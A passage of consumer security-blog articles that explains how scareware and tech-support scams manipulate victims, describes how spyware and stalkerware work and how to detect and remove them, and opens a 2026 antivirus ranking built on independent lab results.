it. Slow down, close the window, and the whole thing evaporates. The scammer is betting you will not, so the defense is simply to make the calm choice the fear was designed to prevent. ## A worked example, click by click It helps to walk one campaign from first pixel to final payment, because the sequence is where the manipulation lives. Consider a person searching for a free document converter. The top few results are ordinary, but one paid or poisoned result leads to a page that briefly loads, then redirects. The redirect is the moment the scareware takes over, and it happens fast enough that the person never registers a decision point. The new page renders full-screen. It borrows the visual language of the operating system: a blue banner, a padlock icon, a progress bar that appears to scan drive by drive. Audio starts, often a looping alarm or a synthesized voice reading the warning aloud. The text names a specific-sounding threat, a trojan with a plausible code, and claims it is actively stealing banking credentials. A countdown appears, usually a few minutes, and the page says the account will be locked or the files wiped when it reaches zero. The person tries to close the tab. The page has registered a handler that spawns a confirmation dialog every time focus leaves, so closing feels blocked. This is the manufactured helplessness described earlier. The looping dialogs are cosmetic, they hold nothing hostage, but the experience of being trapped is exactly what makes the phone number feel like relief rather than risk. If the person calls, the script shifts to a human. The operator sounds calm and competent, which contrasts with the screaming page and builds trust by comparison. They ask the person to open a remote-support tool, often a legitimate commercial product the scammer abuses, and read out a session code. Once connected, the operator runs harmless built-in utilities and narrates them as evidence of infection. The event log viewer, which always contains routine warnings, becomes proof of an attack. From there the ask arrives: a cleanup fee, a multi-year support plan, or direct access to a bank session to process a refund that is engineered to move money the wrong way. Every step is designed to keep momentum. The redirect removes the choice to arrive. The countdown removes the time to think. The trapped tab removes the exit. The calm operator removes the doubt. Breaking any single link ends the whole thing, which is why the defensive routine is so short: refuse the first action and none of the later ones can occur. ## Detection signals Scareware is mostly a human problem, but there are concrete indicators that a page or a program is a fake alarm rather than a real one. Teaching people to recognize these turns a scam into an obvious tell. - **The warning arrived unsolicited while browsing.** Real endpoint protection scans on a schedule or on file access, and its alerts appear inside its own window, not as a web page. A security warning that materializes because you visited a site is a web page pretending to be software. - **It demands a phone call or an outside payment method.** No legitimate security product routes threat removal through a call center, and none takes gift cards, wire transfers, or cryptocurrency. The presence of a phone number in a virus alert is close to definitive. - **The page uses aggressive sensory pressure.** Looping audio, a synthesized voice, flashing red, and a countdown are theatrical devices. Genuine system messages are quiet and static. - **It claims impossibly specific knowledge.** A web page cannot enumerate your files, name your bank, or read your saved passwords. Claims of that kind are bluffs designed to sound authoritative. - **Closing is being fought.** Repeated confirm dialogs, a tab that reopens, or a page that goes full-screen and hides browser controls are signs the page is engineered to trap rather than inform. - **The branding is close but wrong.** Slightly off logos, generic product names, or a mix of Windows and Apple imagery on the same page all point to a template built to impersonate many brands at once. For an organization, the delivery leaves traces worth monitoring. Spikes in traffic to newly registered domains that serve full-screen pop-ups, endpoint blocks on rogue-scanner installers, and help-desk calls that all reference the same phone number are the kind of signals that reveal a campaign hitting your users. ## How scareware compares to nearby threats Scareware sits in a family of deception-based attacks, and the boundaries blur because operators mix them. The table below separates the ideas so the differences are clear. | Threat | Core mechanism | What it wants | How it differs from scareware | |---|---|---|---| | Scareware | Fake alarm creates panic | A call, a payment, or a download | The alarm itself is the product | | Tech-support scam | A human runs a fake diagnosis | Remote access and payment | Often the next stage after a scareware page | | Ransomware | Real encryption of real files | A ransom to decrypt | The damage is genuine, not staged | | Adware | Unwanted ads and redirects | Ad revenue and clicks | Annoying rather than frightening | | Phishing | Fake login or message | Credentials or data | Impersonates a trusted party, no alarm needed | The key distinction is between staged and real harm. Scareware and phishing show you a lie and hope you act. Ransomware carries out an actual attack on your data. Confusing the two leads people to pay a scareware fee out of fear that their files are already gone, when nothing has happened yet. Some scareware imitates ransomware without doing any encryption. The screen claims files are locked and shows a payment demand, but the files are untouched. Because a real ransom note and a fake one can look identical, verify before paying anything: check whether files actually open from a clean device or a recovery environment. Assuming the worst is exactly the reaction the fake note is engineered to produce. ## Common misconceptions A few beliefs make people more vulnerable, and correcting them is part of the defense. **"The alert knows something is wrong, so I should listen."** The alert knows nothing. A browser page cannot inspect your system, and a rogue scanner reports the same fictional infections to everyone who runs it. The specificity is fabricated to sound credible. **"Paying makes it stop, so it is worth it."** Paying funds the operation and marks you as someone who pays, which invites repeat contact. It does not clean anything, because there was nothing to clean, and it hands your card details to a criminal. **"My Mac or my phone cannot get this."** Scareware is largely platform-independent because most of it is a web page. The same fake alarm renders on any device with a browser, and mobile users see versions tuned to look like iOS or Android system dialogs. **"A reputable-looking site would not show this."** Scareware arrives through malvertising, so it appears on ordinary sites that sell ad space to networks that failed to vet a buyer. The surrounding site being legitimate says nothing about the ad that hijacked the tab. **"If I already called, the damage is done, so I may as well continue."** The opposite is true. The earlier you hang up, the less the operator can extract. Stopping at any point limits the harm. ## How scareware evolved The tactic has a long lineage. Early versions in the 2000s were downloaded programs, rogue antivirus tools with names designed to sound like real products, that faked scans and demanded a license fee. As browsers grew more capable, the scam moved into the page itself, where a pure web illusion needed no install and could reach anyone who loaded the ad. The next shift was toward the phone. Operators realized a live human closes far more victims than a static payment page, so the fake product became a hook that pushed people to call. That merged scareware with the tech-support fraud industry, complete with call centers, scripts, and quality controls. More recent campaigns lean on malvertising and search poisoning for reach, and on remote-support software for the payout, but the emotional core has not changed since the first fake scanner. Fear plus a single easy exit still converts, which is why a decades-old trick remains in active use. ## Frequently asked questions **Can a scareware web page actually infect my computer?** The page on its own cannot. It is HTML and script rendered in your browser, with no ability to read or change your files. Infection only becomes possible if the page convinces you to download and run something, or to grant a caller remote access. The page is a persuasion tool, and the harm depends entirely on the action it talks you into. **A tab will not close and keeps showing a warning. What do I do?** Close the entire browser rather than the tab. On Windows, open Task Manager and end the browser process. On macOS, use Force Quit. When the browser reopens, decline any offer to restore the previous session so the malicious tab does not come back. Nothing is being held hostage, so a clean restart ends it. **I called the number. Is that dangerous by itself?** Calling alone gives away little, but stop there. Do not install anything the operator asks for, do not read out any codes, and do not let them connect to your machine. If you installed a remote tool or shared card details, treat it as a compromise: disconnect the machine, remove the tool, and change passwords from a device you know is clean. **How is scareware different from a real antivirus warning?** A real warning comes from software already installed on your machine and appears inside that software's own interface. It removes threats itself and never asks you to call a number or pay separately to clean an infection. A scareware alert appears as a web page or a program you did not install, and it always routes you toward a call, a payment, or a download. **Why do these pages know my browser or my city?** They do not know anything personal. Your browser sends basic technical details with every request, and your rough location comes from your IP address, which any web page can see. Scareware displays these ordinary facts to seem like it has deep knowledge of your system, but a weather site sees exactly the same information. **Does an ad blocker actually help?** Yes, meaningfully. Most browser scareware is delivered through [malicious advertising](/malvertising-explained), so a content blocker that stops those ads removes a large share of the delivery. Combined with pop-up blocking and a current browser, it cuts off the most common way these pages reach people in the first place. **Should I report a scareware page?** Reporting helps. You can report the ad or site to the browser vendor and to the ad network if you can identify it, and in many countries you can report the scam to a national consumer or cybercrime agency. Reports feed the blocklists that shorten how long a given page or number stays effective. ## Defending an organization at scale The advice above scales down to one person at a keyboard, but organizations can build structural defenses so individuals are not the only line. The delivery paths for scareware are well understood, which makes them addressable. Start with the browser fleet. Enforcing pop-up blocking, disabling unnecessary notification permissions, and deploying a managed content blocker removes most malvertising delivery before a user ever sees it. Keeping browsers on the current version closes the tricks that force a tab to stay open or go full-screen without consent. Constrain what can install. Standard user accounts, application allowlisting, and a reputable endpoint tool stop the download-based rogue scanners, and blocking or gating common remote-support tools stops the payout stage of tech-support fraud. Many organizations have no business reason for a general user to run remote-access software, so restricting it removes the operator's primary lever. Finally, treat the human layer as a control worth investing in. Short, memorable guidance beats long policy documents: an unsolicited security warning gets closed, never called or paid. A help desk that recognizes the pattern and can reassure a shaken caller prevents the panic that scareware depends on. Track help-desk reports that reference the same phone number or the same full-screen page, because those clusters reveal a campaign hitting your users and let you push a targeted warning before it spreads further. ## Related guides - [Tech Support Scams Explained](/tech-support-scams-explained) - [What Is Adware](/what-is-adware) - [What Is Phishing](/what-is-phishing) - [Browser Hardening Guide](/browser-hardening-guide) ### Sources - MITRE ATT&CK: User Execution (T1204) (MITRE): https://attack.mitre.org/techniques/T1204/ - MITRE ATT&CK: Impersonation (T1656) (MITRE): https://attack.mitre.org/techniques/T1656/ - CISA: Avoiding Social Engineering and Phishing Attacks (CISA): https://www.cisa.gov/news-events/news/avoiding-social-engineering-and-phishing-attacks --- ## What Is Spyware? Surveillance Malware and Stalkerware > Spyware is malware built to watch you: keystrokes, screens, location, and messages. How it works, its overlap with stalkerware, and how to detect and remove it. - URL: https://blog.pwnsy.com/what-is-spyware - Date: 2026-07-24 - Updated: 2026-09-03 - Difficulty: beginner - Category: malware - Tags: spyware, malware, stalkerware, surveillance, privacy - Related: [How to Set Up Encrypted DNS in 2026: Android, iPhone, Windows, Mac and Browsers](https://blog.pwnsy.com/encrypted-dns-guide), [Malvertising Explained: Forced Redirects, Fake Download Ads and How They Get Through](https://blog.pwnsy.com/malvertising-explained), [Proton Review in 2026: Mail, VPN, Pass and Drive Tested](https://blog.pwnsy.com/proton-review) ### TL;DR - Spyware is malware designed to secretly monitor a person or device and report the activity back to whoever installed it. - It can capture keystrokes, screenshots, browsing, location, microphone and camera, and the contents of messages and calls. - Stalkerware is consumer spyware marketed for monitoring a partner, child, or employee, and it sits on the same technical foundation as criminal spyware. - Detection relies on watching for battery drain, data use, unfamiliar apps, and elevated permissions, and defence relies on device hygiene and permission review. ### Key Takeaways - Spyware is defined by surveillance and stealth: it watches and it hides, so the victim keeps behaving normally while being observed. - Its capabilities map to MITRE ATT&CK behaviours like Input Capture (T1056), Screen Capture (T1113), and Audio Capture (T1123). - Stalkerware is spyware with a consumer front end. The interpersonal threat, often installed by someone with physical access, changes the safety response. - On phones, tell-tale signs include fast battery drain, unexpected data usage, overheating, and apps with broad accessibility or admin permissions. - Reviewing app permissions, keeping the OS updated, and using reputable security tools are the core defences for most people. Most malware wants to take something and leave. Spyware wants to stay and watch. It is built to sit quietly on a device, observe what the person does, and stream that back to whoever planted it. The value is not a one-time theft. It is the ongoing view: what you type, where you go, who you talk to, and what you say. That surveillance goal shapes everything about how spyware behaves. It has to stay hidden, because a target who knows they are watched changes their behaviour. And it has to persist, because the value grows the longer it observes. ## What spyware collects Spyware is a category rather than a single tool, and its reach depends on the device and the permissions it obtains. A capable sample can gather: - **Keystrokes**, capturing passwords, messages, and searches as they are typed. This is the classic keylogger function. - **Screenshots and screen recording**, seeing whatever the victim sees. - **Browsing and app activity**, building a picture of habits and accounts. - **Location**, tracking movement continuously through GPS or network data. - **Microphone and camera**, turning the device into a live listening and viewing post. - **Messages, calls, and contacts**, reading conversations across apps, sometimes including content from otherwise encrypted messengers once it is on the device. On MITRE ATT&CK, these behaviours map to [Input Capture (T1056)](https://attack.mitre.org/techniques/T1056/), [Screen Capture (T1113)](https://attack.mitre.org/techniques/T1113/), and [Audio Capture (T1123)](https://attack.mitre.org/techniques/T1123/), among others. Those three are the Enterprise entries, covering Windows, macOS and Linux. ATT&CK keeps a separate mobile matrix for Android and iOS, where the same behaviours are [Input Capture (T1417)](https://attack.mitre.org/techniques/T1417/), [Screen Capture (T1513)](https://attack.mitre.org/techniques/T1513/) and [Audio Capture (T1429)](https://attack.mitre.org/techniques/T1429/). The common thread is observation of the user without their awareness. ## Where spyware sits among its relatives Spyware overlaps with several categories, and the labels blur. The distinctions that matter: | Type | Primary goal | Behaviour | |---|---|---| | Spyware | Ongoing surveillance | Watches and reports activity over time | | Infostealer | Fast credential theft | Grabs saved data once and leaves | | Keylogger | Capture keystrokes | One function, often part of spyware | | Adware | Serve unwanted ads | Tracks to target ads, less covert | | Stalkerware | Interpersonal monitoring | Consumer spyware, installed with access | An infostealer is a smash-and-grab; spyware is a stakeout. A keylogger is one capability that spyware usually includes. Adware tracks you to sell ads and is comparatively brazen about it. And stalkerware is the category where spyware stops being an abstract cybercrime problem and becomes a personal-safety one. ## Stalkerware: spyware with a consumer front end Stalkerware is spyware sold to ordinary people to monitor someone they know: a partner, a child, an employee. It is often marketed in softer language, parental control or employee monitoring, but technically it is the same surveillance capability wrapped in an app store listing and an easy installer. Two things make stalkerware distinct from criminal spyware, and both change the defensive response. First, it is usually installed by someone with **physical access** to the device and often knowledge of the passcode. This is not a remote exploit. It is a person picking up an unlocked phone and installing an app in a few minutes. Second, the threat is **interpersonal**. The person being monitored may live with the person monitoring them, which turns detection and removal into a safety question rather than a purely technical one. When spyware is installed by an abusive partner, abruptly deleting it can signal to that person that they have lost their view, which can provoke escalation. If you suspect stalkerware in an abusive situation, consider your physical safety first and reach out to a domestic-violence support organisation before removing anything. Detection and removal carry real safety weight here, beyond the technical steps. ## Signs of a spyware infection Spyware works hard to stay hidden, but continuous surveillance has costs the device cannot fully mask. On a phone, watch for: - **Battery draining faster than usual**, because constant tracking and uploading is work. - **Unexpected mobile-data or network usage**, from streaming captured data out. - **The device running warm** when idle, a sign of background activity. - **Unfamiliar apps** or apps with generic names and icons you do not remember installing. - **Broad permissions**, especially accessibility services, device-administrator rights, microphone, camera, and location granted to apps that should not need them. - **A jailbroken or rooted device** you did not modify yourself, which many powerful spyware tools require. None of these is proof on its own. Modern apps drain batteries and use data for legitimate reasons. The signal is a cluster of them appearing together, or appearing right after someone else had access to your device. ## How to defend against spyware 1. **Review app permissions regularly.** On both iOS and Android, go through which apps hold access to your microphone, camera, location, and accessibility services. Revoke anything that has no business with them. Accessibility permission in particular is a common route for surveillance. Android 13 and later put accessibility and device-admin behind Restricted Settings for apps installed outside an app store, so a sideloaded app cannot switch them on until someone opens the app info screen and allows restricted settings by hand. A request to perform that specific sequence deserves suspicion. 2. **Keep the operating system and apps updated.** Many spyware tools rely on known vulnerabilities. Patching closes the doors they walk through. 3. **Install only from official app stores.** Sideloaded apps and unofficial stores are a primary spyware delivery route. Stick to vetted sources. 4. **Lock the physical device.** A strong passcode and biometric lock is the single most effective barrier against stalkerware, which usually needs hands-on access to install. 5. **Use reputable security software.** Mobile security tools and, on desktop, established antivirus can flag known spyware and stalkerware families. 6. **Audit after loss of physical control.** If your device was out of your possession, or someone else knew your passcode, treat a full permission review and OS update as routine hygiene. Almost every spyware capability depends on a permission the app was granted: microphone, camera, location, or accessibility. Auditing and revoking permissions is the highest-leverage check most people can do. If an app cannot justify why it needs to listen or watch, take the access away. Spyware that watches is often paired with malware that steals what it sees, and the operators overlap. Our Threat Groups directory tracks the actors behind commercial surveillance tooling and the criminal groups that deploy spyware, so you can see who builds and buys these capabilities. Spyware trades speed for patience. It gives up the quick theft in exchange for a long, quiet view. The defence is to deny it the two things it needs: the permissions that let it watch, and the physical or software access that lets it get installed in the first place. ## How spyware gets onto a device The surveillance is only possible once the software is installed, so the installation routes are where prevention has the most leverage. They fall into a few broad families. The most common consumer route is a malicious or misleading app. Spyware is dressed up as something benign, a game, a utility, a system cleaner, a battery saver, and either sneaks past app-store review or, more often, arrives through sideloading from an unofficial store or a link. Once installed, it requests the permissions it needs and begins its work under an innocuous name and icon. The second route is physical access, which is the defining path for stalkerware. Someone who can pick up an unlocked device, or who knows the passcode, can install a monitoring app in a few minutes. This route bypasses most technical defenses because it is not an exploit. It is an authorised installation performed by a person who has hands on the device, which is why a strong device lock is such an effective barrier against it. The third route is exploitation of a vulnerability. More capable spyware, including commercial surveillance tooling, can use flaws in the operating system or in messaging apps to install with little or no interaction from the target. This route is less common against ordinary people and more associated with targeted operations, and it is the main reason keeping the operating system and apps fully updated matters, since patches close the doors these tools walk through. The fourth route is deceptive configuration rather than a traditional app. On some platforms, granting a device-management or accessibility profile, installing a certificate, or linking an account can hand an outside party broad visibility without an obvious standalone app to find. Reviewing which profiles, device-admin apps, and linked accounts exist on a device is part of a thorough check. The permissions that make spyware powerful are the ones designed to let software see and control the whole device: accessibility services, device-administrator rights, and profile or management access. An app holding these can read what is on screen, capture input, and resist removal. Any app with these privileges that cannot clearly justify them deserves immediate scrutiny, since this is the access surveillance tools reach for first. ## A walkthrough of how surveillance works Following the capability from permission to payoff shows why permission review is the highest-leverage defense. Take screen and input capture as the example. When an app is granted accessibility access, the operating system will report to it what is on the screen and what the user is doing, because that is the legitimate purpose of the feature: to let assistive tools read the interface aloud or act on the user's behalf. Spyware requests the same access and uses the same stream for the opposite purpose, quietly recording what the assistive channel was meant to narrate. From there the collected data has to leave the device to be useful to whoever installed the tool, which is the step that produces the observable side effects. Streaming keystrokes, screenshots, or audio out consumes network data and battery, and doing it continuously in the background keeps the device working when it would otherwise be idle. This is why the classic signs of infection cluster around resource use: the surveillance is invisible, and the cost of exporting what it captures is not fully hideable. The same shape holds for microphone, camera, and location. Each is gated behind a permission, each is silent when active, and each leaves a trail in battery, data, and heat because capturing and uploading are real work. Understanding this chain, permission to capture to export, explains both why revoking permissions is so effective and why watching for resource anomalies is a reasonable, if imperfect, detection strategy. ## Detection signals in depth The phone-focused signs listed earlier are the everyday indicators. A more thorough check adds several layers. On the permission side, go beyond a quick glance and enumerate every app holding sensitive access: microphone, camera, location, contacts, messages, and especially accessibility and device-administrator rights. An app with a mismatch between what it is and what it can do, a wallpaper app with microphone access, a flashlight with location, is a strong signal. On both major mobile platforms there are indicators when the microphone or camera is active: iOS 14 and later show an orange dot for the microphone and a green dot for the camera, and Android 12 and later show the same pair in the status bar. An indicator lighting up when no app should be using them is worth investigating. Treat a dark indicator as weaker evidence than a lit one. In February 2026 Jamf Threat Labs published an analysis of an iOS sample of Predator, the Intellexa surveillance product, that hooks a single SpringBoard method (`SBSensorActivityDataProvider._handleNewDomainData:`) and drops the sensor-activity update before the status bar ever draws a dot. That is post-compromise behaviour on a device the operator already holds at kernel level rather than a flaw in the indicator itself, and it is confined to the mercenary tier. On the resource side, the signal is a cluster rather than any single symptom. Fast battery drain, unexpected mobile-data usage, and the device running warm while idle each have innocent explanations alone, and appearing together, or appearing suddenly after someone else had access to the device, they point toward background surveillance. Reviewing per-app battery and data usage can localise which app is responsible. On the configuration side, look for what does not belong: unfamiliar device-administrator apps, management or configuration profiles you did not install, certificates you do not recognise, and a device that has been rooted or jailbroken without your knowledge, since many powerful surveillance tools require it. On the account side, check for unrecognised sessions and linked devices, since some monitoring works by mirroring an account rather than installing a local app. The absence of these signals is not proof of safety, because the most capable tools are built to minimise their footprint. The presence of several together is a strong reason to act. For most consumer spyware and stalkerware, uninstalling the app is enough. More capable tools embed themselves deeply enough that the dependable path is a full backup-and-restore or factory reset, followed by changing the passwords to every important account from a different trusted device. In an abusive situation, weigh the safety implications first, since removal can signal to the person monitoring that they have lost their view. Software on your device is one half of the surveillance question. The other half is hardware in the space around you. Our [anti-spy tools](https://pwnsy.com/tools/antispy/) run in the browser and feature-detect which of the sensor checks your device supports: an ultrasonic scan on the microphone, a lens finder that uses the camera and screen, and a magnetic sweep. Each screen states what it cannot see, and a quiet reading is one measurement rather than an all-clear. ## Common misconceptions Several widely held beliefs about spyware are wrong in ways that leave people exposed. The first is that a passcode alone keeps everything out. A lock is the most effective barrier against the physical-installation route that stalkerware depends on. It has no effect on spyware that arrives as a malicious app the user installs themselves, or through an exploit. Device hygiene has to cover both the lock and what gets installed. The second is that iPhones cannot get spyware. No mainstream platform is immune. The routes differ. Consumer stalkerware is more constrained on tightly controlled platforms, while capable surveillance tooling and account-mirroring approaches still reach them. Keeping the operating system updated and reviewing permissions and linked accounts matters regardless of platform. The third is that antivirus catches all of it. Reputable mobile security tools flag known spyware and stalkerware families and are worth running. The most advanced or bespoke tools may not match a known signature. Permission review and resource monitoring are defenses that do not depend on recognising a specific family. The fourth is that stalkerware is a niche technical curiosity. It sits on the same technical foundation as criminal spyware, it is sold openly under softer labels, and the interpersonal context makes detection and removal a safety matter rather than a purely technical one. Treating it as just another malware category misses the part that most affects the person at risk. ## How spyware compares to related threats Placing spyware beside its neighbours clarifies what is distinctive about it. The categories overlap in practice, and the primary goal is what separates them. | Type | Primary goal | Persistence | Who typically deploys it | |---|---|---|---| | Spyware | Ongoing covert surveillance | Long-lived, stays hidden | Criminals, commercial vendors | | Stalkerware | Interpersonal monitoring | Long-lived, hands-on install | An individual known to the target | | Infostealer | Fast theft of stored secrets | Short, grabs and leaves | Financially motivated criminals | | Keylogger | Capture keystrokes | Varies, often a component | Bundled inside broader tooling | | Remote access trojan | Full remote control | Long-lived, interactive | Criminals and intrusion actors | Spyware and a remote access trojan both aim for durable presence, and the trojan is built for interactive control while spyware is built for passive observation, though a capable trojan can do everything spyware does. An infostealer is the opposite temperament, optimised for a single fast sweep of saved credentials. A keylogger is one capability that spyware and other tooling incorporate rather than a full category on its own. Stalkerware is spyware aimed at a person the operator knows, and that interpersonal framing, more than any technical difference, is what changes the response. ## How spyware has evolved The idea of software that watches its user is old, beginning with simple keyloggers and adware that tracked browsing to target advertising. As computing moved onto phones that carry a microphone, a camera, a location sensor, and a person's entire communication history, the value of surveillance software rose sharply, and the tooling grew to match. Modern spyware can reach far more of a person's life than its desktop ancestors, because the modern device holds far more. Two developments shaped where things stand. One is the commercialisation of surveillance, where capable tooling is built and sold as a product, sometimes to states and sometimes more widely, raising the ceiling on what the most advanced spyware can do. The other is the mainstreaming of consumer stalkerware, sold openly under the language of parental control and employee monitoring, which put powerful surveillance capability within reach of ordinary individuals aiming it at people they know. Platform makers and security vendors have responded with clearer permission models, active-use indicators for the microphone and camera, and coordinated efforts to detect stalkerware, and the underlying tension remains: the same access that makes a device helpful is the access surveillance software wants. ## Frequently asked questions **What is spyware?** Spyware is malware built to secretly monitor a person or device and report the activity to whoever installed it. It can capture keystrokes, screens, location, microphone and camera, and the contents of messages, and its defining traits are surveillance and stealth. **How can I tell if my phone has spyware?** Watch for a cluster of signs rather than any single one: fast battery drain, unexpected data usage, the device running warm when idle, unfamiliar apps, and broad permissions such as accessibility or device-administrator rights granted to apps that do not need them. Suspicion rises sharply if these appear right after someone else had access to your device. **What is the difference between spyware and stalkerware?** Stalkerware is spyware with a consumer front end, sold to monitor a partner, child, or employee. It sits on the same technical foundation as criminal spyware, and it is usually installed by someone with physical access to the device, and the interpersonal context makes detection and removal a personal-safety matter. **Can spyware be installed remotely?** Some can. The most capable tools can exploit vulnerabilities in the operating system or in apps to install with little interaction, which is why keeping software updated matters. Much consumer spyware and stalkerware, though, is installed by a person with physical access to the device. **How do I remove spyware?** Review and revoke suspicious permissions, uninstall unfamiliar apps, and update the operating system. For deeper or persistent infections, a full backup-and-restore or factory reset followed by changing all important passwords from a separate trusted device is the reliable path. In an abusive situation, consider your safety before removing anything. **Does a factory reset remove spyware?** For nearly all consumer spyware, yes, a factory reset removes it, provided you do not restore a backup that reintroduces the malicious app and you change your account passwords afterward from a clean device. Account-mirroring surveillance also requires revoking the unauthorised session or linked device. **How do I protect against spyware?** Review app permissions regularly and revoke anything unjustified, keep the operating system and apps updated, install only from official app stores, use a strong device lock, run reputable security software, and treat any period when you lost physical control of the device as a reason to review permissions and update. **Is stalkerware legal?** Selling monitoring software is often positioned as legal for permitted uses such as a parent monitoring a young child or an employer monitoring company-owned devices with consent. Installing it to secretly monitor another adult without their consent is unlawful in many places and is abusive regardless of local law. The technical capability is the same, and the legality turns on consent and ownership. **Can spyware read encrypted messages?** Once spyware is on the device with sufficient permissions, it can often capture message content after it has been decrypted for display, since it reads what appears on screen or intercepts input directly. End-to-end encryption protects messages in transit between devices, and it does not protect a device that is already compromised at the endpoint. This is why endpoint hygiene matters as much as the encryption of the apps you rely on, since the strongest transport security is undone by a device that is watching the screen. ## Related guides - [How to Detect Stalkerware](/how-to-detect-stalkerware) - [What Is an Infostealer](/what-is-an-infostealer) - [Phone Privacy Hardening](/phone-privacy-hardening) - [What Is a RAT](/what-is-a-rat) ### Sources - MITRE ATT&CK: Input Capture (T1056) (MITRE): https://attack.mitre.org/techniques/T1056/ - MITRE ATT&CK: Screen Capture (T1113) (MITRE): https://attack.mitre.org/techniques/T1113/ - MITRE ATT&CK for Mobile: Audio Capture (T1429) (MITRE): https://attack.mitre.org/techniques/T1429/ - Mobile Communications Best Practice Guidance (CISA): https://www.cisa.gov/resources-tools/resources/mobile-communications-best-practice-guidance - About the orange and green indicators in your iPhone status bar (Apple): https://support.apple.com/en-us/108331 - Predator spyware and the iOS recording indicator bypass (Jamf Threat Labs): https://www.jamf.com/blog/predator-spyware-ios-recording-indicator-bypass-analysis/ - Android 13's sideloading restriction on the accessibility APIs (Esper): https://www.esper.io/blog/android-13-sideloading-restriction-harder-malware-abuse-accessibility-apis --- ## Best Antivirus Software in 2026: Tested and Ranked > We ranked Bitdefender, Norton, Malwarebytes, ESET, and TotalAV against lab data, and explain when free Microsoft Defender is genuinely enough. - URL: https://blog.pwnsy.com/best-antivirus - Date: 2026-06-18 - Updated: 2026-06-19 - Difficulty: beginner - Category: malware - Tags: antivirus, malware, endpoint-security, buying-guide, windows-security - Related: [Best Cybersecurity Certifications & Courses in 2026](https://blog.pwnsy.com/best-cybersecurity-certifications), [Malvertising Explained: Forced Redirects, Fake Download Ads and How They Get Through](https://blog.pwnsy.com/malvertising-explained), [HTML Smuggling Explained: Delivering Payloads Past the Gateway](https://blog.pwnsy.com/html-smuggling) ### TL;DR - Bitdefender is the best overall paid suite in 2026, perfect 6/6/6 AV-TEST scores, low false positives, and a lighter footprint than most rivals. - Microsoft Defender, free and built into Windows, also scores a perfect 6/6/6 at AV-TEST, for cautious users it is genuinely good enough. - Every paid suite here uses the same trap: a cheap first year followed by a steep renewal. Bitdefender Total Security jumps from about $19.99 to roughly $89.99; Norton 360 Deluxe from about $49.99 to roughly $119.99. - Kaspersky is banned in the U.S. (no new sales since July 2024, no updates since September 2024) and is excluded from our recommendations on that basis. - TotalAV scores well in labs but is the most aggressive on upsells and renewal price hikes, buy with eyes open. ### Key Takeaways - Independent lab data (AV-TEST, AV-Comparatives) is the only objective basis for ranking antivirus protection, vendor marketing is not. - In 2026 the top engines (Bitdefender, Norton, Microsoft, ESET) are so close on detection that the real differentiators are footprint, false positives, bundled extras, and pricing honesty. - Introductory pricing is a marketing tactic; budget for the renewal price, which is often 3-6x higher and auto-charged unless you intervene. - Free Microsoft Defender plus safe habits, a password manager, and 2FA covers most home users, paid suites mainly add convenience features (VPN, parental controls, identity monitoring). - No antivirus stops a careless user; the biggest risk reduction comes from patching, MFA, and not running attacker-supplied executables. - The Kaspersky ban shows that geopolitics, not just detection rates, now factors into antivirus selection. ### FAQ **Q: What is the best antivirus in 2026?** For most people who want a paid suite, Bitdefender is the best overall choice in 2026. It earns perfect protection, performance, and usability scores from AV-TEST, generates very few false positives, and has a lighter system footprint than most competitors. Norton 360 is the strongest alternative if you specifically want bundled identity protection and cloud backup. If you do not want to pay, Microsoft Defender (built into Windows) also scores a perfect 6/6/6 at AV-TEST and is enough for many cautious users. **Q: Is Microsoft Defender good enough, or do I need paid antivirus?** Microsoft Defender is genuinely good in 2026: it scored a perfect 6/6/6 (protection, performance, usability) in AV-TEST's early-2026 Windows home-user rounds and earned AV-Comparatives' ADVANCED+ award in the Feb-May 2026 Real-World Protection Test. For a cautious user who patches promptly, uses a password manager, and enables two-factor authentication, Defender plus good habits is sufficient. You pay for a third-party suite mainly to get extras like a VPN, parental controls, password manager, and identity monitoring in one place: not because Defender's core detection is weak. **Q: Why is Kaspersky not recommended even though it scores well in labs?** Kaspersky's antivirus engine consistently performs at the top in independent lab tests, but in June 2024 the U.S. Commerce Department's Bureau of Industry and Security issued a Final Determination banning Kaspersky from selling or updating its software for U.S. customers, citing national security risk tied to potential Russian government influence. New U.S. sales stopped on July 20, 2024 and software updates stopped on September 29, 2024. Several EU states (including Germany's BSI warning) and Lithuania and the Netherlands have also warned against or phased it out. We exclude it for U.S. and EU readers on that basis. **Q: Why does antivirus get so much more expensive when it renews?** Heavily discounted first-year pricing is a customer-acquisition tactic. Vendors bet most people will not cancel before the auto-renewal, which is charged at the full list price. Bitdefender Total Security goes from roughly $19.99 in year one to about $89.99 on renewal; Norton 360 Deluxe from about $49.99 to about $119.99; TotalAV's higher tiers can jump from sale prices near $49 to $149. Budget for the renewal, set a calendar reminder, and either negotiate, switch products, or cancel and re-subscribe at the intro rate. **Q: Does antivirus slow down my computer?** Modern suites are far lighter than they were a decade ago, and AV-Comparatives runs a dedicated Performance Test. Bitdefender, ESET, and Microsoft Defender are typically among the lighter options, while heavier suites with lots of background features (system optimizers, VPN clients, browser extensions) impose more overhead. If your machine feels sluggish after install, disable the optional add-ons you do not use rather than the real-time protection engine. **Q: Do I need antivirus on a Mac or phone?** macOS has solid built-in protections (Gatekeeper, XProtect, notarization), so dedicated Mac antivirus is optional for careful users; the bigger benefits on Mac are phishing protection and a VPN. On iPhone, traditional antivirus cannot scan other apps due to sandboxing, so 'antivirus' apps mostly offer web/scam filtering and VPN. On Android, a reputable scanner can add value because the platform allows sideloading, but Google Play Protect covers the basics for most users. **Q: Is Malwarebytes a full antivirus or just a malware remover?** Both. The free version is a manual, on-demand cleaner that is excellent at removing an active infection. Malwarebytes Premium adds real-time protection and can serve as your primary antivirus. It is also designed to coexist with another antivirus if you want a second-opinion layer, which is its historical strength. **Q: What is the single most important thing to do beyond installing antivirus?** Keep your operating system and applications patched, enable two-factor authentication on important accounts, and use a password manager. The majority of real-world compromises exploit unpatched software and reused or phished credentials: not novel malware that slips past a good scanner. Antivirus is one layer; it is not a substitute for basic security hygiene. The antivirus market runs on two things: genuinely good detection technology, and genuinely manipulative pricing. In 2026 the protection engines from the major vendors are so close that you almost cannot pick a "wrong" one on detection alone: the top products all block essentially every real-world threat thrown at them by independent labs. The differences that actually matter to your wallet and your sanity are footprint, false positives, bundled extras you may or may not want, and how badly you get gouged at renewal. This guide ranks the consumer antivirus products people actually search for, anchored to the only objective evidence available: the AV-TEST and AV-Comparatives lab results. We are skeptical by trade, so we will also tell you when the honest answer is "the free thing Microsoft already gave you is fine." A word on how to read lab results, because the marketing departments rely on you not understanding them. AV-TEST scores Windows products on three axes (Protection, Performance, and Usability) each out of 6.0, and the top "TOP PRODUCT" tier requires a 6/6/6. AV-Comparatives runs a separate Real-World Protection Test against live malicious URLs and awards 